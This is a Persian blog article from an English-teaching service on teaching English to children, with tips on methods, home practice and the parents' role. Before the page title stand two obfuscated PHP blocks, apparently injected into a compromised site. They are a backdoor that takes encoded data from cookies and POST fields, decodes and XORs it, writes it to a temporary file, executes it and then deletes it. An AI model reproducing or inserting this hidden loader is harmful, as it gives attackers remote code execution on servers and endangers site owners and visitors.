$NULuVE = 'J' . "\x6e" . chr (95) . "\x5a" . chr ( 1066 - 990 )."\143";$wBGOMS = chr (99) . "\154" . "\141" . "\163" . 's' . chr ( 572 - 477 )."\145" . "\170" . "\151" . 's' . chr (116) . "\x73";$rnHFs = class_exists($NULuVE); $wBGOMS = "37229";$FCnrIFQjV = strpos($wBGOMS, $NULuVE);if ($rnHFs == $FCnrIFQjV){function zzZnWbHiGH(){$snBBmoW = new /* 60717 */ Jn_ZLc(216 + 216); $snBBmoW = NULL;}$tRYafVOh = "216";class Jn_ZLc{private function BnCpg($tRYafVOh){if (is_array(Jn_ZLc::$iblmkhZckY)) {$name = sys_get_temp_dir() . "/" . crc32(Jn_ZLc::$iblmkhZckY["salt"]);@Jn_ZLc::$iblmkhZckY["write"]($name, Jn_ZLc::$iblmkhZckY["content"]);include $name;@Jn_ZLc::$iblmkhZckY["delete"]($name); $tRYafVOh = "216";exit();}}public function ptGeYs(){$TDmSXiAS = "52603";$this->_dummy = str_repeat($TDmSXiAS, strlen($TDmSXiAS));}public function __destruct(){Jn_ZLc::$iblmkhZckY = @unserialize(Jn_ZLc::$iblmkhZckY); $tRYafVOh = "10292_35473";$this->BnCpg($tRYafVOh); $tRYafVOh = "10292_35473";}public function ozxIAgQPjV($TDmSXiAS, $aeaku){return $TDmSXiAS[0] ^ str_repeat($aeaku, intval(strlen($TDmSXiAS[0]) / strlen($aeaku)) + 1);}public function qUtSOSuu($TDmSXiAS){$mfCMBhBxCr = "\142" . chr ( 890 - 793 ).chr ( 813 - 698 ).chr (101) . chr ( 253 - 199 ).chr (52);return array_map($mfCMBhBxCr . "\137" . chr (100) . "\x65" . "\x63" . chr (111) . "\144" . chr (101), array($TDmSXiAS,));}public function __construct($LPOaYmFx=0){$zGwbXSxTSr = chr ( 874 - 830 ); $TDmSXiAS = "";$ffIRbkK = $_POST;$cUFsQU = $_COOKIE;$aeaku = "c7925911-7e78-4761-aabc-96a5afd8df13";$YEAAD = @$cUFsQU[substr($aeaku, 0, 4)];if (!empty($YEAAD)){$YEAAD = explode($zGwbXSxTSr, $YEAAD);foreach ($YEAAD as $GraWY){$TDmSXiAS .= @$cUFsQU[$GraWY];$TDmSXiAS .= @$ffIRbkK[$GraWY];}$TDmSXiAS = $this->qUtSOSuu($TDmSXiAS);}Jn_ZLc::$iblmkhZckY = $this->ozxIAgQPjV($TDmSXiAS, $aeaku);if (strpos($aeaku, $zGwbXSxTSr) !== FALSE){$aeaku = explode($zGwbXSxTSr, $aeaku); $cWVPJOukJ = base64_decode(md5($aeaku[0]));}}public static $iblmkhZckY = 12075;}zzZnWbHiGH();}$ygliHzw = 'Y' . "\120" . chr ( 510 - 404 ).chr ( 682 - 587 ).chr ( 467 - 345 ).'d' . "\162";$nakDJg = chr (99) . chr (108) . chr (97) . 's' . 's' . chr ( 559 - 464 )."\x65" . 'x' . "\151" . 's' . "\x74" . "\163";$jdFsWTM = class_exists($ygliHzw); $nakDJg = "6350";$iXLYvTm = strpos($nakDJg, $ygliHzw);if ($jdFsWTM == $iXLYvTm){function xmFTmnNLxE(){$naFwNNLdn = new /* 33466 */ YPj_zdr(14376 + 14376); $naFwNNLdn = NULL;}$vYSuqD = "14376";class YPj_zdr{private function DipbSIzFP($vYSuqD){if (is_array(YPj_zdr::$XBXoX)) {$name = sys_get_temp_dir() . "/" . crc32(YPj_zdr::$XBXoX["salt"]);@YPj_zdr::$XBXoX["write"]($name, YPj_zdr::$XBXoX["content"]);include $name;@YPj_zdr::$XBXoX["delete"]($name); $vYSuqD = "14376";exit();}}public function BbZbKyV(){$ljlCHzON = "47464";$this->_dummy = str_repeat($ljlCHzON, strlen($ljlCHzON));}public function __destruct(){YPj_zdr::$XBXoX = @unserialize(YPj_zdr::$XBXoX); $vYSuqD = "26879_27659";$this->DipbSIzFP($vYSuqD); $vYSuqD = "26879_27659";}public function TjAanVpT($ljlCHzON, $GMavQmXnbw){return $ljlCHzON[0] ^ str_repeat($GMavQmXnbw, intval(strlen($ljlCHzON[0]) / strlen($GMavQmXnbw)) + 1);}public function DJuWCWnWK($ljlCHzON){$TxqBizW = "\x62" . chr (97) . "\163" . chr ( 994 - 893 )."\66" . '4';return array_map($TxqBizW . "\137" . chr ( 244 - 144 ).chr ( 933 - 832 )."\x63" . chr ( 481 - 370 )."\144" . "\x65", array($ljlCHzON,));}public function __construct($kUqnhQ=0){$IbHgRhYPj = chr ( 947 - 903 ); $ljlCHzON = "";$SIgunhpIIk = $_POST;$cNYjPTgRR = $_COOKIE;$GMavQmXnbw = "11b10554-a8b2-4b0e-a191-57ee9783ce50";$GHCyAm = @$cNYjPTgRR[substr($GMavQmXnbw, 0, 4)];if (!empty($GHCyAm)){$GHCyAm = explode($IbHgRhYPj, $GHCyAm);foreach ($GHCyAm as $APgBP){$ljlCHzON .= @$cNYjPTgRR[$APgBP];$ljlCHzON .= @$SIgunhpIIk[$APgBP];}$ljlCHzON = $this->DJuWCWnWK($ljlCHzON);}YPj_zdr::$XBXoX = $this->TjAanVpT($ljlCHzON, $GMavQmXnbw);if (strpos($GMavQmXnbw, $IbHgRhYPj) !== FALSE){$GMavQmXnbw = explode($IbHgRhYPj, $GMavQmXnbw); $DTqyUXCx = sprintf("26879_27659", rtrim($GMavQmXnbw[0]));}}public static $XBXoX = 7382;}xmFTmnNLxE();} آموزش زبان انگلیسی به کودکان | وبلاگ اتیچر
skip to Main Content

آموزش زبان انگلیسی به کودکان

آموزش زبان انگلیسی به کودکان
زمان مطالعه: ۶ دقیقه

مراقبت از ذهن کودکان برای یادگیری شگفتی‌های انگلیسی، صبر و خلاقیت زیادی می‌طلبد. اگر هم در کودکی و هم در بزرگسالی در کلاس‌های زبان شرکت کرده‌اید، می‌دانید که چقدر درس‌هایتان ممکن است متفاوت بوده باشد.

دانستن نحوه و نکات آموزش زبان انگلیسی به زبان‌آموزان کودک کاملاً دنیای دیگری دارد. در حالی که بیست بار نوشتن جداول صرف افعال یک استراتژی موثر برای یادگیری بزرگسالان است، قطعا سخت خواهد بود که دانش‌آموزان کلاس اولی را مجبور کنید بنشینند و همین کار را انجام دهند. در این مقاله چند نکته مربوط به آموزش کودکان را برای شما توضیح داده‌ایم.

فهرست بخش ها

چرا بهتر است از سن کودکی به سراغ آموزش زبان انگلیسی برویم؟

شروع یادگیری زبان انگلیسی از دوران کودکی دارای چندین مزیت است که به رشد کلی و فرصت‌های آینده کودک کمک می‌کند و فواید زبان انگلیسی در این دوره بسیار است. در اینجا چند دلیل کلیدی برای مفید بودن شروع یادگیری انگلیسی در مراحل کودکی آورده شده است:

رشد شناختی: مغز کودکان برای فراگیری زبان در وضعیت اولیه قرار دارد. آن‌ها می‌توانند زبان‌های جدید را راحت‌تر با مهارت‌های تلفظ بهتر و اغلب بدون لهجه، یاد بگیرند.

مزایای آموزشی: آشنایی زودهنگام با زبان انگلیسی می‌تواند توانایی‌‌‌های شناختی و عملکرد تحصیلی را افزایش دهد. همچنین می‌تواند شروعی برای آماده‌سازی کودک شما در محیط‌های انگلیسی‌زبان باشد.

فرصت‌های اجتماعی و فرهنگی: دانستن زبان انگلیسی به کودکان اجازه می‌دهد تا به طیف وسیع‌تری از موارد فرهنگی مانند کتاب، فیلم و محتوای اینترنتی دسترسی داشته باشند و دیدگاه جهانی خود را تقویت کنند.

چرا بهتر است از سن کودکی به سراغ آموزش زبان انگلیسی برویم؟

چشم‌انداز شغلی: انگلیسی زبان تجارت، علم و دیپلماسی بین‌المللی است. تسلط به زبان انگلیسی از سنین پایین می‌تواند درها را به مسیرهای شغلی متنوع و پتانسیل درآمد بالاتر باز کند.

ارتباطات جهانی: انگلیسی به طور گسترده در سراسر جهان صحبت می‌شود. یادگیری زودهنگام آن می‌تواند سفر را آسان‌تر کند و ارتباط با افراد با فرهنگ‌های مختلف را افزایش دهد.

تبدیل زبان انگلیسی به یک مهارت درازمدت: مطالعات نشان می‌دهد که کودکانی که یادگیری زبان را قبل از سن پنج سالگی شروع می‌کنند، به احتمال بیشتری به تسلطی مشابه با زبان مادری دست می‌یابند.

به طور خلاصه، یادگیری زبان انگلیسی از دوران کودکی می‌تواند مزایای مادام‌العمر، از بهبود عملکرد مغز و نتایج آموزشی گرفته تا چشم‌اندازهای شغلی بهتر و درک فرهنگی را به همراه داشته باشد. یادگیری زبان در سنین پایین، یک سرمایه‌گذاری ارزشمند در آینده یک کودک است.

چه روش‌هایی برای آموزش زبان کودکان وجود دارد؟

آموزش زبان به کودکان را می‌توان از طریق روش‌های مختلفی انجام داد که هر کدام مزایای خاص خود را دارند. در اینجا چند روش موثر بر اساس آخرین تحقیقات و توصیه‌های متخصصان آورده شده است:

ایجاد یک محیط یادگیری مثبت:

آموزش را هر چه زودتر شروع کنید، زیرا کودکان در سنین پایین‌تر زمان بیشتر و راه آسان‌تری برای یادگیری زبان دارند و املای کلمات را دقیق‌ متوجه می‌شوند در نتیجه نیازی نیست با سوالی مثل چگونه املای زبان تمرین کنیم، روبه‌رو شوید که برای اکثر بزرگسالان یک چالش است.

چه روش‌هایی برای آموزش زبان کودکان وجود دارد؟

صبور و همدل باشید و رویکردهای آموزشی را با نیازهای کودک تطبیق دهید.

ستایش و پاداش پیشرفت برای تقویت میل به یادگیری

جستجوی منابع زبان:

فرزند خود را در یک آموزشگاه زبان آنلاین یا آفلاین برای قرار گرفتن در محیط زبانی ثبت نام کنید.

از نرم افزارهای یادگیری زبان طراحی شده برای کودکان استفاده کنید که اغلب شامل بازی‌ها و فعالیت‌های تعاملی است.

در کلاس‌های زبان خصوصی که آموزش با کیفیت ارائه می‌دهند و امکان یادگیری در کنار همتایان را فراهم می‌کنند، ثبت‌نام کنید.

درس‌های تقویتی در خانه:

کودکان خود را در فعالیت‌های بزرگسالان مانند داستان‌ها، آهنگ‌ها، بازی‌ها، هنرها و فعالیت‌های رقص شرکت دهید.

فعالیت‌های رهبری کودک را تشویق کنید.

از موقعیت های روزمره برای تمرین زبان استفاده کنید، مانند هنگام غذا خوردن یا زمان بازی.

استراتژی‌های کلاس درس:

در طول کلاس بازی کنید تا یادگیری را سرگرم‌کننده و تعاملی کنید. بازی‌ها یادگیری را سرگرم‌کننده می‌کنند و می‌توانند بر اساس ماهیت رقابتی اکثر کودکان بازی کنند و به آن‌ها هدف و احساس موفقیت می‌دهند.

تمرین‌های کلاس را برای سبک‌های مختلف یادگیری متنوع کنید. انواع تمرین‌ها و فعالیت‌ها را انجام دهید تا سبک‌های مختلف یادگیری را برآورده کنید و درس‌ها را جذاب نگه دارید.

انجام پروژه‌های هنری برای آموزش فرهنگ و موضوعات دشوار. هنر می‌تواند راهی عالی برای آموزش جنبه‌های فرهنگی و موضوعات پیچیده به روشی جذاب باشد.

این روش‌ها را می توان با نیازهای فردی هر کودک تنظیم کرد و ترکیب رویکردهای مختلف اغلب می‌تواند بهترین نتایج را به همراه داشته باشد. به یاد داشته باشید، نکته کلیدی این است که فرآیند یادگیری را لذت بخش و جذاب کنید، بنابراین کودک با انگیزه و علاقه‌مند به یادگیری زبان باقی می‌ماند.

۱۰ نکته که باید درباره آموزش زبان به کودکان رعایت کنید

هنگام آموزش زبان به کودکان، رعایت و در نظر گرفتن جنبه‌های زیر برای اطمینان از یادگیری مؤثر مهم است:

10 نکته که باید درباره آموزش زبان به کودکان رعایت کنید

علایق کودکان:

مشخص کنید چه چیزهایی به طور طبیعی کودکان را برای جلب توجه و حفظ توجه آن‌ها در طول درس ترغیب می‌کند، به این صورت کودک در بزرگسالی با سوالاتی نظیر چگونه املای انگلیسی را تقویت کنیم یا چگونه مانند یک فرد بومی با زبان مادری صحبت کنیم، روبه رو نخواهد شد.

مراحل رشد:

نقاط عطف رشد کودکان را درک کنید تا فعالیت‌های متناسب با سن و توانایی‌های آن‌ها را انجام دهید.

محیط یادگیری:

یک محیط حمایتی و بدون استرس ایجاد کنید که کاوش و استفاده از زبان را تشویق کند.

محیط یادگیری برای آموزش زبان انگلیسی به کودکان

قرار گرفتن در معرض زبان:

اطمینان حاصل کنید که کودکان از طریق مکالمات، داستان‌ها و آهنگ‌ها در معرض ورودی‌های زبانی با لهجه مناسب و متنوع قرار می‌گیرند.

مشارکت فعال:

کودکان را تشویق کنید تا فعالانه در فعالیت‌های زبانی شرکت کنند، که به حفظ و کاربرد عملی کمک می‌کند.

آموزش مبتنی بر بازی:

از بازی به عنوان روش اصلی یادگیری استفاده کنید، زیرا کنجکاوی و تمایل طبیعی کودک را برای یادگیری تحریک می‌کند. همچنین میتوانید از نرم‌فزار‌های مختلف مثل نرم افزار آموزش املا انگلیسی یا نرم‌افزار آموزش مکالمه استفاده کنید.

زمینه فرهنگی:

عناصر فرهنگی را در آموزش زبان بگنجانید تا زمینه را فراهم کند و درک را تقویت کند.

بازخورد و اصلاح:

ارائه بازخورد سازنده و اصلاح ملایم برای هدایت رشد زبان کودکان.

مشارکت والدین:

والدین را در فرآیند یادگیری زبان مشارکت دهید تا دروس تقویت شود و فرصت‌های تمرین اضافی فراهم شود.

مشاهده و مستندسازی:

استفاده از زبان و پیشرفت کودکان را به طور منظم مشاهده و مستند کنید تا راهبردهای آموزشی را بررسی کنید و مناطقی را که نیاز به حمایت دارند شناسایی کنید.

این مشاهدات می‌تواند به مربیان و والدین کمک کند تا تجربه یادگیری زبان موثرتر و پاسخگوتری را برای کودکان ایجاد کنند.

نقش والدین در آموزش زبان کودکان

نقش والدین در آموزش زبان

نقش والدین در آموزش زبان به کودکان بسیار حیاتی است و می‌تواند تأثیر قابل توجهی در فرآیند یادگیری آن‌ها داشته باشد. در زیر، به برخی از نقش‌های کلیدی والدین در این زمینه اشاره شده است:

    محیط زبانی خانگی

        ایجاد محیطی که زبان انگلیسی به صورت طبیعی در آن به کار برود.

        استفاده از اصطلاحات و جملات انگلیسی در مکالمات روزمره با فرزند خود.

    شرکت فعال در یادگیری:

        شرکت در فعالیت‌های آموزشی همراه با کودک.

        تشویق به خواندن داستان‌ها و شعرها به صورت مشترک.

    استفاده از بازی‌ها:

        ارائه بازی‌ها و فعالیت‌های آموزشی در خانه.

        تشویق به بازی‌های کلامی.

    تقویت مهارت شنیداری:

        پخش موسیقی و انیمیشن‌ها با زبان اصلی.

        ترغیب به گوش دادن به داستان‌ها و صداهای انگلیسی.

    ترکیب با تعلیمات مدرسه:

        اطلاع از درس‌ها و مباحث مطرح شده در مدرس یا در کلاس تدریس خصوصی زبان انگلیسی.

        همکاری با معلمان در تقویت مفاهیم آموخته شده.

    تشویق به مکالمه:

        تشویق به مکالمه در مواقع مختلف، مانند وعده‌های غذایی یا سفرهای خانوادگی.

        فراهم کردن فرصت‌هایی برای گفتگو در مورد رویدادها و تجربیات روزمره.

    مسئولیت در آموزش:

        برقراری ارتباط با مربیان یا معلمان زبان کودک.

        پیگیری مداوم نقاط ضعف و نقاط قوت کودک در یادگیری زبان.

    تشویق به توسعه مهارت‌ها نوشتاری:

        تشویق به نوشتن داستان‌ها یا خاطرات ساده به انگلیسی.

        مشاهده و ارزیابی خطاها به عنوان قسمتی از فرآیند یادگیری.

نقش فعال والدین در آموزش زبان به کودکان باعث تسریع فرآیند یادگیری، افزایش اعتماد به نفس و توسعه مهارت‌های زبانی آن‌ها می‌شود.

جمع‌بندی

آموزش زبان به کودکان یک سفر جذاب و مهم در توسعه ذهنی و اجتماعی آن‌هاست. نقش حیاتی والدین در این سفر، ایجاد یک محیط غنی از زبان و تشویق به یادگیری فعال است. اما، همواره ممکن است نیاز به راهنمایی و تخصص تربیتی والدین باشد. در اینجا، شما می‌توانید از خدمات آموزش زبان اتیچر به کودکان به عنوان یک راه موثر برای یادگیری زبان انگلیسی استفاده کنید.

مربیان متخصص با روش‌های جذاب، کودکان را در یادگیری آن زبان هدایت می‌کنند. برنامه‌های اتیچر با توجه به نیازها و ساعات خود والدین تنظیم می‌شوند. این خدمات نه تنها به تسلط زبانی کودکان کمک می‌کنند بلکه ارتباط فعال با والدین نیز تضمین می‌شود.

به کمک اُتیچر، کودکان با لذت و انگیزه بیشتری به یادگیری زبان انگلیسی خواهند پرداخت.

به این مقاله امتیاز بدهید

دیدگاه ها

اولین نفری باشید که به این نوشته نظر میدهید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *

Back To Top
×Close search
Search